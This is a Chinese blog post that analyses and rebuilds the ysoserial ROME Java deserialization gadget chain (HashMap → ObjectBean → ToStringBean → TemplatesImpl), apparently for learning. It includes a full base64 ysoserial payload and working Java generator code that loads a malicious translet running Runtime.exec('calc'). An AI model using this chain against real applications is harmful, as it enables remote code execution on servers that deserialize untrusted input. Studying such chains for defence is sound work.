参考:
ysoserial官方ROME链
环境搭建 java版本:JDK1.8_112
maven依赖:
1 2 3 4 5 6 <dependency > <groupId > net.java.dev.rome</groupId > <artifactId > rome</artifactId > <version > 1.0.0</version > </dependency >
ysoserial下载
漏洞复现 生成payload 1 java -jar yso*.jar ROME calc | base64
1 rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVydGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5qYXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAaWyv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEABGNhbGMIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBABx5c29zZXJpYWwvUHduZXI0OTcwMDU5NzI1NDQwAQAeTHlzb3NlcmlhbC9Qd25lcjQ5NzAwNTk3MjU0NDA7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAXAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhzcgAoY29tLnN1bi5zeW5kaWNhdGlvbi5mZWVkLmltcGwuRXF1YWxzQmVhbvWKGLvl9hgRAgACTAAKX2JlYW5DbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7TAAEX29ianEAfgAJeHB2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwcQB+ABRzcgAqY29tLnN1bi5zeW5kaWNhdGlvbi5mZWVkLmltcGwuVG9TdHJpbmdCZWFuCfWOSg8j7jECAAJMAApfYmVhbkNsYXNzcQB+ABxMAARfb2JqcQB+AAl4cHEAfgAfcQB+ABRzcQB+ABt2cQB+AAJxAH4ADXNxAH4AIHEAfgAjcQB+AA1xAH4ABnEAfgAGcQB+AAZ4
反序列化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package org.example;import java.io.ByteArrayInputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.util.Base64;public class Main { public static void main (String[] args) throws IOException, ClassNotFoundException { String data="rO0A.........." ; byte [] bytes = Base64.getDecoder().decode(data); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } }
运行
成功RCE
过程分析 ysoserial给出的利用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 * TemplatesImpl.getOutputProperties() * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) * NativeMethodAccessorImpl.invoke(Object, Object[]) * DelegatingMethodAccessorImpl.invoke(Object, Object[]) * Method.invoke(Object, Object...) * ToStringBean.toString(String) * ToStringBean.toString() * ObjectBean.toString() * EqualsBean.beanHashCode() * ObjectBean.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream)
下断点,看调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <init>:47, Pwner4970059725440 (ysoserial) newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:423, Constructor (java.lang.reflect) newInstance:442, Class (java.lang) getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) toString:137, ToStringBean (com.sun.syndication.feed.impl) toString:116, ToStringBean (com.sun.syndication.feed.impl) toString:120, ObjectBean (com.sun.syndication.feed.impl) beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl) hashCode:110, ObjectBean (com.sun.syndication.feed.impl) hash:338, HashMap (java.util) readObject:1405, HashMap (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1909, ObjectInputStream (java.io) readOrdinaryObject:1808, ObjectInputStream (java.io) readObject0:1353, ObjectInputStream (java.io) readObject:373, ObjectInputStream (java.io) main:14, Main (org.example)
直接从HashMap开始分析
对key进行hash,
注意这里的key是ObjectBean@919,在之后反推和构造Gadgat时要用到,后续还会嵌套在其他对象里面,用IDEA给的编号确定对象位置
调用任意类的hashcode(很多链子中都用到了HashMap作为入口)
这里是调用ObjectBean类的hashCode方法
调用ObjectBean对象中的_equalsBean的beanHashCode方法
这里_equalsBean就是EqualsBean
调用嵌套在_equalsBean里的ObjectBean的toString方法
注意这里的ObjectBean对象为926,与第一步中的919是两个不一样的对象
调用_toStringBean的toString方法
这里的prefix是_obj(当前为TemplatesImpl)的类名
跟进后续的toString方法
这里的toString方法会先获取JavaBean的属性描述符,然后调用_obj对象中的所有getter方法
对于布尔类型的属性,getter方法通常命名为is
+属性名的首字母大写的形式,例如isReady()
。
对于非布尔类型的属性,getter方法通常命名为get
+属性名的首字母大写的形式,例如getName()
。
Gadget在这里利用的是TemplatesImpl类的getOutputProperties方法
跟进到getOutputProperties方法
跟进newTransformer方法
该方法的目的是创建一个新的Transformer对象,进行必要的配置,然后返回它
跟进getTransletInstance方法
这里的ysoserial.Pwner类是yso在生成ROME链的generate payload时注入的恶意字节码,类似于我们自己写的Evil.class
此时的class数组指向调用Pwner类,newInstance创建实例时就触发了恶意代码块,进行RCE
逆向还原Gadget 1 2 3 4 5 6 7 8 9 10 11 12 * TemplatesImpl.getOutputProperties() * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) * NativeMethodAccessorImpl.invoke(Object, Object[]) * DelegatingMethodAccessorImpl.invoke(Object, Object[]) * Method.invoke(Object, Object...) * ToStringBean.toString(String) * ToStringBean.toString() * ObjectBean.toString() * EqualsBean.beanHashCode() * ObjectBean.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream)
根据利用链和调用栈信息,边写边调试,初步构造如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.syndication.feed.impl.ObjectBean;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;class Evil implements Serializable { public String name; static { System.out.println("hacked!" ); try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } } public class Main { public static void main (String[] args) throws IOException, ClassNotFoundException, CannotCompileException, NotFoundException, NoSuchFieldException, IllegalAccessException { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.get("org.example.Evil" ); byte [] byteCode = ctClass.toBytecode(); byte [][] bytes = new byte [1 ][]; bytes[0 ]=byteCode; HashMap <ObjectBean,String> hashMap = new HashMap <>(); TemplatesImpl templates = new TemplatesImpl (); Class<?> tempCls = TemplatesImpl.class; Field _bytecodes= tempCls.getDeclaredField("_bytecodes" ); _bytecodes.setAccessible(true ); _bytecodes.set(templates,bytes); Field _class= tempCls.getDeclaredField("_class" ); _class.setAccessible(true ); _class.set(templates,new Class []{Evil.class}); ObjectBean objectBean1 = new ObjectBean (TemplatesImpl.class,templates); ObjectBean objectBean2 = new ObjectBean (ObjectBean.class,objectBean1); hashMap.put(objectBean2,"1" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectInputStream = new ObjectOutputStream (byteArrayOutputStream); objectInputStream.writeObject(hashMap); System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray())); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray()); ObjectInputStream objectInputStream1 = new ObjectInputStream (byteArrayInputStream); HashMap hashMap1 = (HashMap) objectInputStream1.readObject(); int b=1 ; } }
本地运行,能够RCE
但是如果直接用payload去反序列化的话,就会产生Exception in thread "main" java.lang.ClassNotFoundException: org.example.Evil
异常,也就是说,classpath中必须存在Evil类的字节码才可以,这显然不符合我们的要求。
我尝试了另一个思路,就是找到一个存在的类尝试覆盖,但是serialVersionUID否定了我的想法
1 Exception in thread "main" java.io.InvalidClassException: com.sun.syndication.io.FeedException; local class incompatible: stream classdesc serialVersionUID = -5970530855978771795, local class serialVersionUID = -8761681574235401334
那为什么ysoserial给出的payload就可以实现动态类加载呢?
经过了一段时间(折磨了1天)的代码阅读与大量的调试与修改,我把一些没有什么意义的代码精简后,实现了ysoserial payload的动态加载的效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 package org.example;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import com.sun.syndication.feed.impl.ObjectBean;import javassist.*;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;public class Main { public static class Evil extends AbstractTranslet implements Serializable { public Evil () { System.out.println("constructor called...." ); } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } } public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.get(Evil.class.getName()); byte [] byteCode = ctClass.toBytecode(); TemplatesImpl templates = new TemplatesImpl (); Class<?> tempCls = TemplatesImpl.class; Field _bytecodes= tempCls.getDeclaredField("_bytecodes" ); _bytecodes.setAccessible(true ); _bytecodes.set(templates,new byte [][]{byteCode}); Field _name= tempCls.getDeclaredField("_name" ); _name.setAccessible(true ); _name.set(templates,"lanb0" ); ObjectBean delegate = new ObjectBean (Templates.class,templates); ObjectBean objectBean2 = new ObjectBean (ObjectBean.class,delegate); HashMap hashMap=new HashMap <>(); hashMap.put(objectBean2,objectBean2); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectInputStream = new ObjectOutputStream (byteArrayOutputStream); objectInputStream.writeObject(hashMap); System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray())); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray()); ObjectInputStream objectInputStream1 = new ObjectInputStream (byteArrayInputStream); objectInputStream1.readObject(); } }
从目前来看,要保证能够实现动态类加载,最关键的有2处:
恶意类必须继承自AbstractTranslet
类,并实现Translet
接口的transform
方法
恶意类必须为public
类
深入探究 为了探究其本质原因,需要更进一步的审计。
观察两个payload generator代码上的不同,可以发现在最初的代码里我们对TemplatesImpl
的_class
属性进行了修改,猜测关键点可能在此处,故定位到getTransletInstance
的这一行判断
1 2 3 ...... if (_class == null ) defineTransletClasses();......
看到方法名,推测可能与类加载有关,跟进defineTransletClasses
看到这里就恍然大悟了,首先loader.defineClass将Evil类的字节码加载进内存,这样就相当于在classpath中导入了这个类。而在初步构造gadget时,我们先入为主地把_class
属性设置好,导致加载Evil类字节码这一步骤被省略。
此外,还检查了Evil类的父类,如果满足条件,就把之后用于遍历_class
的索引值初始化为i,也就是0。
还剩下最后的public访问修饰符的问题,首先把Evil类的访问修饰符改为默认,即把public去掉
再次跟踪到getTransletInstance
方法后,多调试几次,可以发现捕获到了一个异常
其中,异常信息为:
1 Class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl can not access a member of class org.example.Main$Evil with modifiers "public"
也就是说,非public类只能在包含它本身的包内使用,所以抛出了这个异常
结尾 通过本次对ROME链的深入剖析,也算是加深了对java的一些基础知识的理解,JAVA安全之路漫漫其修远兮。